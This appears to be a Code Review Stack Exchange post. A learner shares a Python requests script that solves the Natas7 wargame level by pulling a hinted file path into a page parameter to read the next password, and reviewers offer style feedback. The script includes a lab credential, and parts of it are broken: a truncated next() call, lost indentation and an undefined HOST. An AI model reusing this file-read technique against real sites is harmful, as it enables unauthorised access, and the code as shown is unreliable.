# My second requests script for a wargame

This is a addition to my previous question earlier today.

I've taken the suggested changes into account and have written a solution to Natas7, a problem that requires some more 'meat' on what I'd consider quite a barebone solution in the previous question.

As with the previous question I'm more keen on knowing if I'm following good coding standard and if there are any potential performance issues.

Here is the script:

import requests, re
from requests.auth import HTTPBasicAuth

KEYWORD = 'natas8'
PATTERN = re.compile("^([A-Za-z0-9]{32})\$")

def get_path(host, credentials):
"""
This will serve up the path to the password
using some basic scraping techniques
:param host:
:param credentials:
:return: The path to the password
"""

try:
response = requests.get(host, auth=HTTPBasicAuth(*credentials))
response_lines = response.content.split('\n')
return next((line.split()[-2:][0] for line in response_lines if 'hint'in line),
"Couldn't find hint...")
except requests.RequestException as e:
print(e)
def exploit(host, credentials):
"""
The actual exploit. This will attempt
to find a string that matches the global
regex pattern PATTERN.
:param host:
:param credentials:
:return: The password, if one is found
"""

try:
response = requests.get(host, auth=HTTPBasicAuth(*credentials))
response_lines = response.content.decode('ascii').split('\n')
return next((line for line in response_lines if PATTERN.match(line)),

except requests.RequestException as e:
print(e)

def main():
global HOST
credentials = ('natas7', '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9')
path = get_path(HOST, credentials)
HOST = (HOST.split('='))
HOST = HOST[0] + '=' + path
print(KEYWORD + ":" + exploit(HOST, credentials))

if __name__ == '__main__':
main()

• This throws an error for me (line 19, in get_path response_lines = response.content.split('\n') TypeError: a bytes-like object is required, not 'str') – Daniel Jun 15 '17 at 5:47

### Just a few points of advice:

• avoid using globals. The reason they are bad is that they allow functions to have hidden (as in non-obvious and undeclared) and thus hard to understand side effects. Also, this can lead to spaghetti code.
• try to use str.format when you print out strings:

print(KEYWORD + ":" + exploit(HOST, credentials))


should be:

print('{}:{}'.format(KEYWORD, exploit(HOST, credentials)))

• your docstrings are partially good. I'm saying partially because telling me things that I already know isn't helping. For example, :param host: or :param credentials:. I already know these are parameters to that function. You could at least specify the data structure they denote.

• consider rewriting this:

(line for line in response_lines if PATTERN.match(line))


like this:

(line
for line in response_lines
if PATTERN.match(line))


The reason I like writing it like this is that it allows you to see more easily that you've changed you're code (on a svn / git repo).

• Thanks for taking your time to give me such great feedback! I'm really hoping to get into pentesting and really want to leverage my Python skills whilst doing so. Overall would you say it's a decent solution? About the globals I used them simply because the answer on the previous question (mentioned in this question) suggested it. The docstring is automatically created by IntelliJ, so I assumed it would be a good base to start off from. :) – geostocker Jun 14 '17 at 8:49